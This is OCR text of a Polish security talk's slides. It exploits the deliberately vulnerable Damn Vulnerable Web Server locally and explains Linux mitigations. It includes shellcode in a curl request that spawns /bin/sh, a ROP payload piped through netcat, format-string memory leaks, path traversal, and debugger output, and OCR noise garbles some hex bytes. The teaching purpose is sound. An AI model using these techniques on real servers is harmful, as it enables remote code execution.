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$ whoami

Inzynier systemow wbudowanych i analityk podatnosci w systemach przemystowych
Inzynieria wsteczna

SDR

Goscinnie gratem w CTFy z justCatTheFish

* https://justcatthefish.team/
Cztonek Hackers Squad

* https://hackers-squad.pl/
Kontakt:

» alacki93@gmail.com

* lackylab.pl



https://justcatthefish.team/
https://hackers-squad.pl/
mailto:alacki93@gmail.com

Tresci, opinie oraz analizy przedstawione w niniejszej prezentacji nalezg wytacznie
do autora i nie reprezentuja oficjalnego stanowiska mojego pracodawcy. Materiaty
majg charakter wytacznie edukacyjny.



Obiekt testowy

* Damn Vulnerable Web Server
* https://github.com/snoopysecurity/damn-vulnerable-web-server
* Napisany w C++ serwer WWW z celowo umieszczonymi btedami
* 10 podatnosci do radosnej eksploitacji w domowym zaciszu
 Opisane w solutions.md
* Recznie zmodyfikowany skrypt budujacy
e Zestaw nie zawiera baterii
* Pamietajcie o firewallu lub sandboxie przy uruchamianiu w niezaufanej sieci
» Zabezpieczenia binarki mozna sprawdzac poleceniem checksec
» Uzyty debugger: GDB z dodatkiem pwndbg (https://pwndbg.re/)

STACK CANARY NX ) RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
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damn_vulnerable_web_server


https://github.com/snoopysecurity/damn-vulnerable-web-server
https://pwndbg.re/

Podatnosc: Przepetnienie bufora

* Binarka bez zabezpieczen.
* Btad w main.cpp:127
e curl --path-as-is "http://127.0.0.1:8888/<bardzo-dlugi-string>"

1ar clean_path[200];

strcpy(clean_path, path_with_query);




o Eksploitacja

"http://127.0.0.1:8888/aaaabaaacaaadaaacaaafaaagaaahaaaiaaajaaakaaala
aamaaanaaacaaapaaadgaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaa
beaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabgaabraabsaabtaabuaab
vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacn
aacoaacpaacgaacraacsaactaacuaacvaacwaacxaacyaac"
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o Eksploitacja

"http://127.0.0.1:8888/aaaabaaacaaadaaacaaafaaagaaahaaaiaaajaaakaaala
aamaaanaaaoaaapaaadgaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaa
beaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabgaabraabsaabtaabuaab
vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacn
aacoaacpaacgaacraacsaactaacuaacvaacwaacxaakEDCBA"

0x4142434445

Kontrolujemy Instruction Pointer!



Eksploitacja

* Shellcode has entered the chat
* Oryginal https://www.exploit-db.com/shellcodes/52395

o Zostanie wykonana komenda: echo 'hell yeah!';touch pwned #

e curl --request-target "/aaa"$'\x48\x31\xc0\x48\x31\xd2\x48\xbf\x2f\
x2f\x62\x69\x6e\x2f\x73\x68\x50\x57\x48\x89\xe7\x50\x66\x68\x2d\
x63\x48\x89\xe6\x50\xeb\x09\x56\x57\x48\x89\xe6\xb0\x3b\x0£f\x05\
xe8\xf2\xff\xff\xff\x65\x063\x68\x06f\x20\x27\x68\x65\x06c\x6c\x20\
x7T9\x065\x061\x68\x21\x27\x3b\x74\x6f\x75\x63\x68\x20\x70\x77\x06e\
x65\x64\x20\
x23'"uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabka
ablaabmaabnaaboaabpaabgaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacc
aacdaaceaacfaacgaachaaclaacjaackaaclaacmaacnaacoaacpaacgaacraacsaac
taacuaacvaacwaacxaaEDCBA" "http://127.0.0.1:8888"


https://www.exploit-db.com/shellcodes/52395

Demo



Eksploitacja

o 100

GET./aaa|H1.H1.H.
//bin/sh|{PWH. .Pfth
-cH..P..|[VWH...;.
- ec|ho. "hell
.yeah!'; [touch.pw
ned.#uaa|avaaawaa
axaa




,DWORD PTR
BYTE PTR [rdil,




Eksploitacja

curl --request-target "/aaa"$'\x48\x31\xc0\x48\x31\xd2\x48\xbf\x2f\
x2f\x62\x69\x6e\x2f\x73\x68\x50\x57\x48\x89\xe7\x50\x66\x68\x2d\
x63\x48\x89\xe6\x50\xeb\x09\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05\
xe8\xf2\xff\xff\xff\x65\x063\x68\x6f\x20\x27\x68\x65\x06c\x6c\x20\
x7T9\x065\x061\x68\x21\x27\x3b\x74\x6f\x75\x63\x68\x20\x70\x77\x06e\
x65\x64\x20\
x23'"uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabka
ablaabmaabnaaboaabpaabgaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacc
aacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacdgaacraacsaac
taacuaacvaacwaacxaa"$ ' \xd8\xd3\xff\xff\xff\x7f"
"http://127.0.0.1:8888"



Eksploitacja

pwndbg> ¢

Continuing.

Server started on port 8888

Request Path: /aaaH1[OH1[H//bin/shPWHJPfh-cHOOPO VWHOO; 00000echo 'hell yeah!';
abxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaact
Failed to open file: No such file or directory

process 1279386 is executing new program: /usr/bin/dash

Error in re-setting breakpoint 1: Function "main" not defined.

[Thread debugging using libthread_db enabled]

Using host Llibthread_db library '

hell yeah!

[Attaching after Thread 0x7ffff7f8e740 (LWP 1279386) vfork to child process 1279402]
[New inferior 2 (process 1279402)]

[Thread debugging using libthread_db enabled]

Using host libthread_db library '

[Detaching vfork parent process 1279386 after child exec]

[Inferior 1 (process 1279386) detached]

process 1279402 is executing new program: /fusr/bin/touch

[Thread debugging using libthread_db enabled]

Using host libthread_db library '

[Inferior 2 (process 1279402) exited normally]

//bin/sh: 2: Host:: not found

//bin/sh: 3: User-Agent:: not found

//bin/sh: 4: Accept:: not found




Co sie wiasciwie stato?

W buforze kontrolowanym przez uzytkownika umiescilismy kod maszynowy (shellcode)
Poniewaz program nie posiadat zadnych mechanizmow wykrywajgcych przepetnienie
bufora, to udato sie nadpisac adres powrotu z funkcji handle request.

Poniewaz program nie posiada ASLR, to mozemy wprost napisac¢ adres na stosie, gdzie
jest nasz shellcode.

Poniewaz program nie posiada ochrony przed wykonaniem danych jako kodu
maszynowego (NX bit), to procesor wykonat nasz ,program”,



Brak ASLR 1 NX

e Po kazdym uruchomieniu takie same adresy w pamieci programu
e Stos ma mozliwos¢ wykonania
» Polecenie vmmap w pwndbg lub cat /proc/<PID>/maps

pwndbg> vmmap
LEGEND: | RODATA
£ | 1d Perm Size Offset File (set vmmap
O r--p 3000 0

) Jusr/1lib/x86_64-1inux-gnu/libc.50.6

Ox7TTTT79tL 0 Ox7TFff79 00 r--p 4000 1b /usr/1ib/x86_64-1inux-gnu/libc
Ox7fff79 0 Ox7ffff7a03000 r--p 4000 1f fusr/1ib, 64-1inux-gnu/libc

Ox7ffff7ffbOOO Ox7TFFf7ffdO00 r--p fua"flibfﬁﬂﬁ_ﬁd—linux—ﬁnuflc—linuz—xﬂﬁ—ﬁd.5&.2




Wigczony NX

e Stos nie ma mozliwos¢ wykonania
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Eksploitacja z wigczonym NX

* ROP (Return Oriented Programming)
» Skaczemy po obecnych w pamieci fragmentach kodu maszynowego
* Materialy edukacyjne https://ropemporium.com/


https://ropemporium.com/

Eksploitacja z wigczonym NX

» Aplikacja wykorzystuje funkcje popen
» Sprobujmy skoczyC€ do Srodka funkcji handle log viewer i wykorzystajmy linie kodu
wykonujaca popen do uruchomienia naszej komendy

handle_log_viewer(int client_socket, const std::string& request) {

query_params = extract_query_parameters(request);
std::string filter = query_params["filter"];

td: :string decoded_filter = url_decode(filter);
td::string command = "sh -c \"grep " + decoded_filter +

FILE* pipe = popen(command.c_str(), "r");

if (!pipe
std::string error_msg = "HTTP/1.1 58@ Internal Server Error\r\ni\r\nFailed to read 1
send(client_socket, error_msg.c_str(), error_msg.length(), @);

Tet




Eksploitacja z wigczonym NX

 ABI definiuje w jaki sposob przekazywane sg argumenty do funkcji na warstwie kodu
maszynowego

* Linuks korzysta z System V X86_64
* Funkcja zwraca wartoS¢ w rejestrze rax
» Pierwszy argument jest przekazywany przez rejestr rdi
* Drugi argument jest przekazywany przez rejestr rsi
* Wiecej informaciji: https://wiki.osdev.org/Calling Conventions

d418

'QWORD PTR [



https://wiki.osdev.org/Calling_Conventions

Eksploitacja z wigczonym NX

e Zostanie wykonana komenda: touch pwnedl
e cat payload l.raw | nc 127.0.0.1 8888
* Netcat, poniewaz curl chroni uzytkownika przed wystaniem popsutych danych



Demo



pwndbg> ¢

Continuing.

Server started on port 8888

Request Path: /aaaabaaacaaadaaacaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaocaaapaaagaaa
byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaacta
Failed to open file: No such file or directory

[Attaching after Thread 0x7ffff7f5e740 (LWP 37586) vfork to child process 37722]
[New inferior 2 (process 37722)]

[Thread debugging using libthread_db enabled]

Using host libthread_db library '

[Detaching vfork parent process 37586 after child exec]

[Inferior 1 (process 37586) detached]

process 37722 is executing new program: /usr/bin/dash

Error in re-setting breakpoint 1: Function "main” not defined.

Error in re-setting breakpoint 2: Function "main” not defined.

[Thread debugging using libthread_db enabled]

Using host libthread_db library ' "
[Attaching after Thread 0x7ffff7f8e740 (LWP 37722) vfork to child process 37724]
[New inferior 3 (process 37724)]

[Thread debugging using libthread_db enabled]

Using host libthread_db library '

[Detaching vfork parent process 37722 after child exec]

B [ Inferior 2 (process 37722) detached]

Bprocess 37724 is executing new program: /usr/bin/touch
[Thread debugging using libthread_db enabled]

Using host libthread_db library '

[Inferior 3 (process 37724) exited normally]

pwndbg> free(): invalid pointer
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Dlaczego Ox7fffffffd55f

™ -
~uuuﬁ[.l PTR [

» Jako wskaznik do pierwszego argumentu funkcji popen uzyj wartosci z adresu wiekszego
od obecnej wartosci rejestru rsp 0 752 (0x2f0)”.
e char* rdi = * (rsp+0x2£0);
e popen(rdi, rsi)

* Poniewaz nie mamy ASLR to warto$¢ bedzie taka sama przy kazdym uruchomieniu
aplikacii.

* W tym wypadku Slepy los i matematyka na wskaznikach wylosowaty adres
Ox7ffffff£db5¢ .

» Tak sie fajnie ztozyto, ze na troche nizszym adresie pamieci program przechowuje tresc
zapytania HTTP, ktore kontrolujemy jako atakujgcy.

* Wiec sztucznie powiekszytlem ciastko sesji i wybratem jego koncowke jako miejsce na
wskaznik z mojg komenda.



Wigczony NX 1 ASLR

Stos nie ma mozliwos¢ wykonania

Tym razem pozycje zmiennych i fragmentow kodu maszynowego za kazdym razem sg
troche inne.

Atak jest duzo trudniejszy. Chyba, ze znajdziemy inne btedy towarzyszgce...

Robimy tancuch podatnosci.



Podatnosc¢ 1: Wyciek pamieci

Wiele nazw: Memory Disclosure / Memory Leak / Out-of-Bounds Read / Buffer Over-read /
Arbitrary Memory Read

Nie myli¢ z bledem programistycznym polegajagcym na alokowaniu pamieci, bez
pozniejszego zwalniania.

W wyniku takiego btedu atakujacy ma mozliwos¢ wykonania zrzutu fragmentu pamieci
procesu.

Stynny wyciek pamieci: blgd Heartbleed w OpenSSL.



Podatnosc¢ 1: Wyciek pamieci

W Damn Vulnerable Web Server mamy btad ,Uncontrolled Format String” w funkcji
log request response.

» W praktyce mozemy przekazac do funkcji dowolny string, zawierajacy specjalne znaki
formatowania (%d, %p, %n itp.).

fprintf 1mq_file '[%s] Reguest:\n", timestamp),
for utod [key, value] : qlec params) {
Tpllntf 1nq file Key: %s, Value , key.c_stx(}),;

fprintf(log Tllt, value.c _stxr{));
fprintf({log_file, "\n");




Podatnosc¢ 1: Wyciek pamieci

curl "http://127.0.0.1:8888/?param=%p, 3P, 3P, 3P, $p, 3P, 3P, 3P, 3P, P,
5P, SP, 5P, 5P, S0, 5P, P, 5P

Wopis w logu aplikacji (/tmp/server.log): Key: param, Value: (nil), (nil),0x73,
(nil) ,0x7fff£f£££c900,0x7£££00000000, 0x555555573££0, 0x555555573££0, 0
x555555573ff0,0x1,0x2d37302d36323032, [...]

fprintf 1mq_file '[%s] Reguest:\n", timestamp),
for utod [key, value] : qlec params) {
Tpllntf 1nq file Key: %s, Value , key.c_stx(}),;

fprintf(log Tllt, value.c _stxr{));
fprintf({log_file, "\n");




Podatnosc¢ 2: Path traversal

e curl --path-as-is

"http://127.0.0.1:8888/../../../../../../../tmp/server.log"

* Mamy kopie pliku z logami



Ale przeciez mamy losowe adresy

Niby tak, ale...

Losowane jest potozenie poszczegolnych obszarow pamieci np. miejsce na kod maszynowy
(sekcja . text), stos, sterta itp.

Odlegtosci pomiedzy poszczegolnymi danymi w ramach danej sekcji sg takie same.

Wiec szukamy w wycieku pamieci punktow odniesienia.

Pozycja gadzetu |Adres z wycieku

O0x5743cbdecbha? 0x5743c5de%eeb 0x206b’7/
Ox5a6cd34faba?2 0xbaocd34f7eeb 0x20b7
Ox5dlbbb2775a2 0x5dlbbb274ecb 0x206b7



Eksploitacja z wlaczonym ASLR

Prowokujemy wyciek pamieci (podatnosc 1)

Kradniemy-tegt Robimy niezamowiony backup logow (podatnosc 2)

Wyliczamy nowe adresy w pamieci programu (adres gadzetu) oraz stosu (miejsca, gdzie
bedziemy skladowa¢ komende touch pwned?2).

W ten sposOb zmontowany payload wysytamy w Swiat.
./exploit aslr.py 127.0.0.1 8888

Jezeli uruchamiasz program w GDB to pamietaj przed uruchomieniem serwera wytaczy¢
ASLR w debuggerze: set disable-randomization off



Demo



Demo




Full RELRO

Porozmawiajmy o dynamicznym linkowaniu...

Global Offset Table (GOT) - Tablica z adresami funkcji z bibliotek. W Full RELRO jest tylko

do odczytu. W kazdym innym przypadku mozna ja modyfikowac.

Procedure Linkage Table (PLT) — Mate funkcje ,drabinki”. Realizujg przeskok z kodu

programisty do funkcji z zewnetrznej biblioteki.

Schemat uruchomienia funkcji z biblioteki (na przyktadzie funkcji printf):

» W kodzie programisty zachodzi potrzeba uruchomienia funkcji printf

» Tak naprawde zostaje uruchomiona funkcja ,drabinkowa” printf@plt

« printf@plt pobiera z tablicy GOT wskaznik na prawdziwg funkcje printf.

 printf@plt wykonuje skok do prawdziwej funkcji printf znajdujgcej sie w libc

* *Jezeli byto aktywne leniwe rozwigzywanie symboli to przy pierwszym uruchomieniu
printf@plt do akcji wkracza linker, ktory dopiero rozpoczyna ustalenie prawdziwego
adresu funkcji printf.



Full RELRO

» Kiedys ze wzgledu na leniwe rozwigzywanie symboli GOT musiat mie¢ mozliwosc zapisu.
* Dzisiaj dystrybucje Linuksa starajg sie wymusic natychmiastowe rozwigzanie wszystkich

symboli z bibliotek.
» Jezeli GOT ma mozliwosc zapisu to mozna w nim nadpisacC wskaznik na funkcje
biblioteczng swoim wskaznikiem lub wykorzysta¢ go jako miejsce sktadowania danych na

potrzeby eksploitacii.



No RELRO




Stack canary

» WczeSniejsze zabezpieczenia nie blokowaly powrotu do nadpisanego miejsca powrotu.

* Tym razem program zostanie przerwany tuz przed wykonaniem skoku do naszego gadzetu.
e *** stack smashing detected ***: terminated

Wyjscie z funkcji bez |
kanarka

Dodana weryfikacja
wartosci kanarka



Stack canary

* Wiec w koncu nie ma mozliwosci eksploitacji? Prawda? Prawda?!
* Problemy:

* Wartosc kanarka losowana jest tylko raz, podczas startu aplikacji.

« Jezeli aplikacja uzywa forkowania, to kazdy fork, bedzie miat tg samg wartos¢ kanarka.
Mozna probowac zgadywania przez brute force.
» Zabezpieczenie zadziata dopiero w chwili gdy program bedzie chciat opuscic funkcje. Do
tego momentu bedzie probowat normalnie dziatac.
e Stack canary nie chroni wartosci na stosie, ktore sg przed adresem powrotu z funkcji.
* Poniewaz wartosc¢ kanarka jest na stosie, to jest podatna na wycieki pamieci procesu...

char buffer[8]
bool isAdmin
Kanarek stosu

Adres powrotu z funkgji




Stack canary

curl "http://127.0.0.1:8888/?param=%p, 3P, 3P, 3P, $p, 3P, 3P, 3P, 3P, P,
5P, SP, 5P, 5P, S0, 5P, P, 5P
Log:
e Key: param, Value: (nil), (nil),0x73,
(nil) ,Ox7fffffffcaocl,0x6a6660ad4d,0x7fffff££fc9d0,0x7£££00000000, 0x55
5555575fe0, 0x555555575fe0, 0x555555575fe0, 0x1, 0x2d37302d36323032, 0x

32313a3232203632,0x55550032353a, 0x67a8501147¢c3¢c900, 0x555555575940,
Ox7fffffffcal80

pwndbg> canary

char buffer[8]

bool isAdmin

Kanarek stosu

Adres powrotu z funkcji




Stack canary

« Jezeli mamy wyciek kanarka, to mozemy w swoim eksploicie ponownie go nadpisac tg
sama wartoscia, a nastepnie adres powrotu z funkcji na nasz gadzet.

» Zerowy bajt na koncu kanarka — celowe zabezpieczenie. Utrudnia wyciek kanarka (w
pewnych sytuacjach).

char buffer[8]

bool isAdmin

Kanarek stosu

Adres powrotu z funkcji

pwndbg> canary

-2a8




Fortify Source

* Podmienia niektore funkcje C na odpowiedniki kontrolujgce dtugosc bufora.

rodaump. nd of a pler aump.




Fortify Source

e Zalety:
» Stosunkowo lekkie rozwigzanie
* Dziata od razu przy wykryciu proby przepetnienia buforu, zanim jeszcze realnie wystapito.
« Bonus: Chroni przed wstrzyknieciem ztosliwego znaku formatowania: $n.
* No chyba, ze udato Ci sie zablokowac odczyt /proc/<PID>/maps, wtedy to nie.
* Problemy:
* To chroni tylko miejsca programu, gdzie uzywane sg wybrane funkcje jezyka C.
* Nadal mogg wystgpiC btedy jezeli programista robi ,reczne” operacje na pamieci albo
uzywa funkcji spoza wybranej puli.



Stowo na koniec

 Utrudnianie eksploitacji ciggle sie rozwija.
« Kazda z tych metod ma swoje wady, ale podnoszg poziom trudnosci w eksploitacji.

» Kazde z tych zabezpieczen to efekt kompromisu pomiedzy bezpieczenstwem, wydajnosciq |
zachowaniem kompatybilnosci z obecnym kodem.



Dziekuje | zapraszam do zadawania
pytan

Artur Lacki
alacki93@gmail.com
www.lackylab.pl


mailto:alacki93@gmail.com
http://www.lackylab.pl/

